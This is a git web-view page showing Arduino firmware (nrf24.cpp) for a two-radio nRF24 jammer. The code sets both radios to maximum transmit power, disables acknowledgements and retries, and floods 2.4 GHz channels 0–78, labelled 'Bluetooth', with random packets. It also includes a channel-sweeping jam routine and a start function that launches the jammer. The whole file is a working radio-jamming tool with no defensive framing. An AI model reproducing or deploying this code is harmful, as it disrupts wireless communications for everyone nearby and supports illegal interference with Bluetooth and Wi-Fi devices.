summaryrefslogtreecommitdiff
path: root/firmware/nrf24.cpp
blob: 8c1b4d9529ad470c4a2b5daa78414861867e9a53 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <Arduino.h>
#include <RF24.h>
#include "buttons.h"
#include "nrf24.h"
#include "display.h"
#define JAM_DURATION 500

extern SPIClass *RADIO_SPI;
extern RF24 radio1;
extern RF24 radio2;

void initNRF(RF24 &radio)
{
    radio.begin(RADIO_SPI);

    radio.setAutoAck(false);
    radio.stopListening();

    radio.setRetries(0, 0);
    radio.setDataRate(RF24_2MBPS);
radio.setPALevel(RF24_PA_MAX);

    radio.openWritingPipe(0xE7E7E7E7E7LL);
}


void jamChannels(const char* label, int startCh, int endCh) {
  byte data1[32], data2[32];
  for (int i = 0; i < 32; i++) {
    data1[i] = random(0, 256);
    data2[i] = random(0, 256);
  }

  for (int ch = startCh; ch <= endCh; ch++) {
    // Status screen
    u8g2.clearBuffer();
    u8g2.drawStr(0, 10, "Jamming:");
    u8g2.setCursor(60, 10);
    u8g2.print(label);
    u8g2.setCursor(0, 30);
    u8g2.print("Channel: ");
    u8g2.print(ch);
    u8g2.sendBuffer();

    unsigned long startTime = millis();
    while (millis() - startTime < JAM_DURATION) {
      radio1.setChannel(ch);
      radio1.stopListening();
      radio1.write(data1, sizeof(data1));
      delayMicroseconds(100);

      radio2.setChannel(ch);
      radio2.stopListening();
      radio2.write(data2, sizeof(data2));
      delayMicroseconds(100);

  }
}
}


void nrfJammerSweep()
{
    static uint8_t ch1 = 0;
    static uint8_t ch2 = 124;

    uint8_t payload[32] = {0xFF};

    radio1.setChannel(ch1);
    radio1.writeFast(payload, sizeof(payload));

    radio2.setChannel(ch2);
    radio2.writeFast(payload, sizeof(payload));

    ch1++;
    ch2--;

    if (ch1 > 124) ch1 = 0;
    if (ch2 > 124) ch2 = 124;
}

void startNRFJammer()
{
    initNRF(radio1);
    initNRF(radio2);

    Serial.println("NRF JAMMER STARTED");
    // nrfJammerSweep();
      jamChannels("Bluetooth", 0, 78);


    if (btnBack())
    {
        Serial.println("Jammer stopped");
        return;
    }

    delayMicroseconds(200);
}